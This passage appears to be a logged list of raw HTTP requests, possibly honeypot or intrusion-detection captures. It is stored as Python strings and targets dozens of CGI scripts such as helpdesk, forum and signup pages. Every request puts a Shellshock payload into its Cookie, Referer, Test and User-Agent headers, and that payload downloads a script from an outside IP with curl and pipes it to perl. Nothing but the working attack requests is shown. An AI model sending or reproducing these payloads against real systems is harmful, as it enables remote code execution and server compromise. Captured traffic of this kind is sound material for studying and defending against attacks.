 u'GET /sample03.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /sample02.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /sample01.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /ROADS/cgi-bin/search.plHTTP/1.0 HTTP/0.9\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /reviews/newpro.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /redirects/redir.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /quikstore.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /quikmail/nph-emumail.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /pub/english.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /process_bug.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /print.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /photodata/manage.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /photo/manage.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /parse_xml.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /page.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /oem_webstage/cgi-bin/oemapp_cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /newsletter.shHTTP/1.0 HTTP/0.9\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /newpro.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /ncbook.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /musicqueue.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /mods/apage/apage.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /ministats/admin.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /megabook/admin.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /main.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /mailview.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /left.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /infosrch.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /info.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /index.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /html/cgi-bin/cgicsoHTTP/1.0 HTTP/0.9\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /hndUnblock.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /hitmatic/analyse.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /Gozila.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /fcgi-bin/echo2HTTP/1.0 HTTP/0.9\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /fcgi-bin/echoHTTP/1.0 HTTP/0.9\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /ez2000/ezman.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /ez2000/ezboard.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /ez2000/ezadmin.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /enter_bug.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /emumail.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /edittag/edittag.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /download.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /details.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /debug.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /dcforum/dcforum.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /dcforum.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /dcboard.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /dcadmin.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /csPassword.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /CSNews.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /create_release.shHTTP/1.0 HTTP/0.9\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /cp/rac/nsManager.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /connector.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /cgistartHTTP/1.0 HTTP/0.9\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /cgis/wwwboard/wwwboard.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /cgi-sys/signup.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /cgi-sys/realsignup.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /cgi-sys/realhelpdesk.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /cgi-sys/randhtml.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /cgi-sys/mchat.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /cgi-sys/helpdesk.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /cgi-sys/FormMail-clone.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /cgi-sys/entropysearch.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /cgi-sys/entropybanner.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /cgi-sys/domainredirect.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /cgi-sys/defaultwebpage.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /cgi-sys/addalink.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
